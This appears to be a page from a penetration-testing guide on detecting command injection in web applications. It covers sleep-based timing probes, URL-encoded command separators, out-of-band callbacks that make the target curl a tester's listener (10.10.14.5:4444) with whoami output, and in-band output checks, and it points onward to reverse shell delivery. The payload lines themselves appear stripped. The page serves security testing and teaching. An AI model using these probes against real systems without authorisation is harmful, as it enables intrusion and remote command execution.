Command Injection Detection
Command injection detection confirms whether user input reaches an OS command execution context. Target parameters that pass values to system commands — ping, host, nslookup, convert, zip, curl, and similar utility calls. These often appear in network diagnostic tools, file converters, image processors, and search features. Confirmed injection moves to command injection bypasses and then reverse shell delivery.
Time-Based Detection
Sleep-based probes are the safest way to confirm command injection without reading output. A delay matching the sleep value confirms execution:
real 0m5.132s
Test all common command separators — different systems and filter configurations accept different ones:
sep %3B: real 0m3.12s sep %7C: real 0m0.08s
Separator reference: %3B is ;, %7C is |, %26%26 is &&, %0A is a newline, %60 is a backtick. The separator that causes a delay is the one that works — use it for all subsequent payloads.
Out-of-Band Detection
When the response does not change regardless of input, use an out-of-band callback to confirm execution. The target connects back to your listener:
GET /cmdi-test HTTP/1.1 Host: 10.10.14.5:4444
An incoming request on your listener confirms blind command injection — the target executed curl and connected to you. Also useful for confirming what user the command runs as by including whoami output in the callback URL:
GET /www-data HTTP/1.1
In-Band Detection
When the application reflects command output, simple injection without encoding is enough to confirm:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
POST Parameter and Header Testing
Command injection also appears in POST parameters, filenames, and HTTP headers processed by the application:
References
-
PortSwigger — OS Command Injectionportswigger.net/web-security/os-command-injection (opens in new tab)
Detection methodology and separator reference
-
PayloadsAllTheThings — Command Injectiongithub.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection (opens in new tab)
Separator payloads and blind detection techniques
Was this helpful?
Your feedback helps improve this page.